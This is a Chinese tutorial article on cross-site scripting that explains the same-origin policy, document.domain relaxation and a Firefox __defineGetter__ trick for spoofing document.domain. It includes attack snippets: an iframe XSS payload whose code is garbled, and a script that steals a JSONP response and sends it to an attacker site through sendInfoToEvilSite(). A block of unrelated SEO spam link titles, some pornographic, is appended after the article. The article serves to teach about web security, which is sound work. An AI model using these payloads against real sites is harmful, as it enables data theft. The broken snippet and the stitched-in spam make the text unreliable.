跨站腳本攻擊深入解析:安全模型和同源策略
原創(chuàng)【51CTO.com 獨(dú)家特稿】跨站腳本的名稱源自于這樣一個事實(shí),即一個Web 站點(diǎn)(或者人)可以把他們的選擇的代碼越過安全邊界線注射到另一個不同的、有漏洞的Web 站點(diǎn)中。當(dāng)這些注入的代碼作為目標(biāo)站點(diǎn)的代碼在受害者的瀏覽器中執(zhí)行時,攻擊者就能竊取相應(yīng)的敏感數(shù)據(jù),并強(qiáng)迫用戶做一些用戶非本意的事情。
在本文中,我們論述瀏覽器方面的安全措施,以及如何利用跨站腳本(XSS)這種常見的技術(shù)來規(guī)避瀏覽器的安全措施。在正式討論跨站腳本攻擊之前,我們必須首先要對現(xiàn)有的安全措施有所了解,所以本文將詳細(xì)介紹當(dāng)前Web應(yīng)用所采取的安全措施,如同源策略、cookie安全模型以及Flash的安全模型。
一、Web安全模型
盡管瀏覽器的安全措施多種多樣,但是要想黑掉一個Web應(yīng)用,只要在瀏覽器的多種安全措施中找到某種措施的一個漏洞或者繞過一種安全措施的方法即可。瀏覽器的各種保安措施之間都試圖保持相互獨(dú)立,但是攻擊者只要能在出錯的地方注入少許JavaScript,所有安全控制幾乎全部瓦解——最后還起作用的就是最弱的安全防線:同源策略。同源策略管轄著所有保安措施,然而,由于瀏覽器及其插件,諸如Acrobat Reader、Flash 和Outlook Express漏洞頻出,致使同源策略也頻頻告破。在本文里,我們主要討論瀏覽器的三個安全模型:
1.同源策略
2.cookies安全模型
3.Flash安全模型
此外,我們還會介紹如何利用JavaScript代碼削弱這些安全模型的方法。
二、同源策略
同源策略又名同域策略是瀏覽器中的主要安全措施。這里的“源”指的是主機(jī)名、協(xié)議和端口號的組合;我們可以把一個“源”看作是某個web頁面或瀏覽器所瀏覽的信息的創(chuàng)建者。 同源策略,簡單地說就是要求動態(tài)內(nèi)容(例如,JavaScript或者VBScript)只能閱讀與之同源的那些HTTP應(yīng)答和cookies,而不能閱讀來自不同源的內(nèi)容。更為有趣的是,同源策略對寫操作沒有任何限制。因而,一個web站點(diǎn)可以向任何其他的Web站點(diǎn)發(fā)送(或?qū)懭耄〩TTP請求,盡管為了防止跨站請求可能會對發(fā)送這些請求有關(guān)的cookies和頭部有所限制。
解釋同源策略的最好的方法是實(shí)例說明。假定我們在網(wǎng)頁http://foo.com/bar/baz.html中放上了JavaScript代碼。那么,這些JavaScript可以讀/寫一些頁面,但是卻不能讀/寫其他頁面。下表說明了來自http://foo.com/bar/baz.html的JavaScript可以訪問哪些URL。
URL 能否訪問這個URL 原因
http://foo.com/index.html
可以。
協(xié)議和主機(jī)名匹配。
端口沒有顯式說明。
該端口被假設(shè)為80。注意,兩者的目錄是不同的。這個目錄是/而非/bar。
http://foo.com/cgi-bin/version2/webApp
可以。 協(xié)議和主機(jī)名匹配。
端口沒有顯式說明。
該端口被假設(shè)為80。注意目錄的區(qū)別這里的目錄是/cgi-bin/version2,而非上面的/bar。
http://foo.com:80/bar/baz.html 可以。 具有幾乎相同的URL,HTTP協(xié)議匹配,端口是80(HTTP默認(rèn)的端口),主機(jī)名也一樣。
https://foo.com/bar/baz.html
不可以。 協(xié)議不同,這里使用的協(xié)議是HTTPS。
http://www.foo.com/bar/baz.html
不可以。 兩個主機(jī)名不同,這里的主機(jī)名是www.foo.com而不是foo.com。
http://foo.com:8080/bar/baz.html 不可以。 兩個端口號不同。這里的端口是8080,而前面的端口被假定為80。
上表說明了當(dāng)http://foo.com/bar/baz.html試圖加載某些URL時同源策略的工作情況。下面我們介紹同源策略的例外。通過在被請求的頁面中對JavaScript的變量document.domain進(jìn)行相應(yīng)設(shè)置,可以使瀏覽器有限度地違反同源策略,即,如果http://www.foo.com/bar/baz.html頁面中含有下列內(nèi)容:
< script >
document.domain = "foo.com";
< / script >
那么任何http://xyz.foo.com/anywhere.html頁面內(nèi)的腳本都可以向http://www.foo.com/bar/baz.html發(fā)送HTTP請求,并可以讀取其內(nèi)容。在此種情況下,如果攻擊者能夠向http://xyz.foo.com/anywhere.html中注入HTML或JavaScript的話,那么他同時也能在http://www.foo.com/bar/baz.html中注入JavaScript代碼。
為此,攻擊者需要首先在http://xyz.foo.com/anywhere.html(其document.domain設(shè)為foo.com)中注入HTML和JavaScript,并向http://www.foo.com/bar/baz.html(其document.domain也設(shè)為foo.com)中載入一個iframe,然后就可以通過JavaScript來訪問該iframe的內(nèi)容了。例如,http://xyz.foo.com/anywhere.html中的下列代碼將在www.foo.com域中執(zhí)行一個JavaScript的alert()函數(shù):
< iframe src="onerror=alert(1)’">< / iframe >
這樣,document.domain將允許攻擊者跨域活動(域際旅行)。注意,你不能在document.domain變量中放入任何域名,相反,只能在document.domain變量中放置“源”頁面即所在頁面的域名的上級域名,如www.foo.com的上級域名是foo.com 。
在Firefox瀏覽器中,攻擊者可以利用__defineGetter__()來操縱document.domain,命令document.domain返回攻擊者所選的任意字符串。這個不會損害瀏覽器的同源策略,因為它只對JavaScript引擎有影響,而不會影響底層的文檔對象模型(DOM),然而這對于依靠document.domain在后臺進(jìn)行跨域請求的JavaScript應(yīng)用程序卻是有影響的。例如,假如一個后臺請求http://somesite.com/GetInformation?callback=callbackFunction的應(yīng)答的HTTP體如下所示:
function callbackFunction() {
if ( document.domain == "safesite.com") {
return "Confidential Information";
}
return "Unauthorized";
}
通過誘騙受害者訪問(攻擊者的)包含下列腳本的頁面,攻擊者就可以可以獲得保密資料:
< script >
function callbackFunction() {return 0;}
document.__defineGetter__("domain", function() {return "safesite.com"});
setTimeout("sendInfoToEvilSite(callbackFunction())",1500);
< / script >
主站蜘蛛池模板:
久久99网站|
亚洲逼院|
国产一区久久精品
|
国产成人在线一区二区
|
日韩欧美中文字幕在线视频
|
日韩免费1区二区电影
|
日韩欧美手机在线
|
在线观看国产视频
|
一区二区不卡视频
|
亚洲国产自产
|
国产视频中文字幕在线观看
|
91视频网址
|
992人人草
|
国产精品日韩欧美一区二区三区
|
91精品亚洲
|
精品欧美乱码久久久久久
|
日韩欧美一区二区三区免费观看
|
午夜精品久久久久久久
|
五月综合激情在线
|
日韩一区二区三区视频
|
国产精品日本一区二区在线播放
|
在线观看精品
|
人和拘一级毛片c
|
日韩中文字幕一区
|
国产免费一区二区三区免费视频
|
日韩av啪啪网站大全免费观看
|
国产精品美女久久久久aⅴ国产馆
|
久草中文网|
欧美在线一区二区三区
|
中文字幕乱码一区二区三区
|
午夜欧美一区二区三区在线播放
|
欧美日韩中文字幕
|
天天久|
伦理午夜电影免费观看
|
午夜一区二区三区视频
|
天堂中文字幕av
|
www.日韩
|
一区二区在线视频
|
精品伦精品一区二区三区视频
|
日韩精品一区二区三区免费视频
|
国产毛片在线看
|